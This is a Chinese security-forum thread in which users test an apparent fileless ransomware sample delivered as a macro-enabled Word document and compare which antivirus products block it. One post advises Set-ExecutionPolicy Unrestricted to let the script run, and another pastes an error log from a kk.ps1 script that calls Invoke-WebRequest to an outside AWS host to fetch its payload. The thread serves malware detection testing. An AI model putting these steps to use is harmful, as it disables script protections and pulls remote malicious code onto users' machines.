貌似是新型的无文件勒索

显示全部楼层 · 发表于 2019-10-8 00:09:49

www-tekeze 发表于 2019-10-7 23:32
智量Heur杀doc，火绒Miss All，有空双击。。

双击doc，启用宏后火绒加固和规则有拦截，绒智主防都没反应，但也没见加密动作。。

显示全部楼层 · 发表于 2019-10-8 08:44:48

F-secure截杀，SEP没有反应，国产的火绒也没有反应。

显示全部楼层 · 发表于 2019-10-8 10:38:52

因为默认的执行策略是会阻止执行不信任的脚本，所以你们跑起来的都反应，需要修改设置才能跑起来

显示全部楼层 · 发表于 2019-10-8 11:04:06

Cc28256 发表于 2019-10-8 10:38
因为默认的执行策略是会阻止执行不信任的脚本，所以你们跑起来的都反应，需要修改设置才能跑起来

Set-ExecutionPolicy Unrestricted，是这个命令吧，我的早改过了，但还是看不到加密动作。

显示全部楼层 · 发表于 2019-10-8 11:29:50

解压后的DOC文件：Trojan:Win32/Zpevdo.B

显示全部楼层 · 发表于 2019-10-8 13:45:47

www-tekeze 发表于 2019-10-8 11:04
Set-ExecutionPolicy Unrestricted，是这个命令吧，我的早改过了，但还是看不到加密动作。

那就不知道了。我这里能跑起来也能看到勒索界面

显示全部楼层 · 发表于 2019-10-8 15:53:56

www-tekeze 发表于 2019-10-8 11:04
Set-ExecutionPolicy Unrestricted，是这个命令吧，我的早改过了，但还是看不到加密动作。

奥，我仔细看了一下，他的那个有的已经失效了
Invoke-WebRequest : <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at ec2-52-220-60-155.ap-southeast-1.compute.amazonaws.com Port 80</address>
</body></html>
所在位置 XXXXXXXXX\kk.ps1:7 字符: 1
+ Invoke-WebRequest http://ec2-52-220-60-155.ap-southeast-1.compute.ama ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest]，WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

显示全部楼层 · 发表于 2019-10-8 16:12:50

Cc28256 发表于 2019-10-8 15:53
奥，我仔细看了一下，他的那个有的已经失效了
Invoke-WebRequest :

虚拟机里怎么都不行，powershell窗口给的提示是“配置节里指定的web代{过}{滤}理出错”。。。但实机里多了两次powershell联网动作，也可以看到勒索窗口，只是还是没有勒索加密的动作，等了好一阵用任务管理器结束了进程。

显示全部楼层 · 发表于 2019-10-8 17:57:46

Emsisoft Anti-Malware
启用宏拦截

显示全部楼层 · 发表于 2019-10-8 18:42:17

norton kill

[病毒样本] 貌似是新型的无文件勒索

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源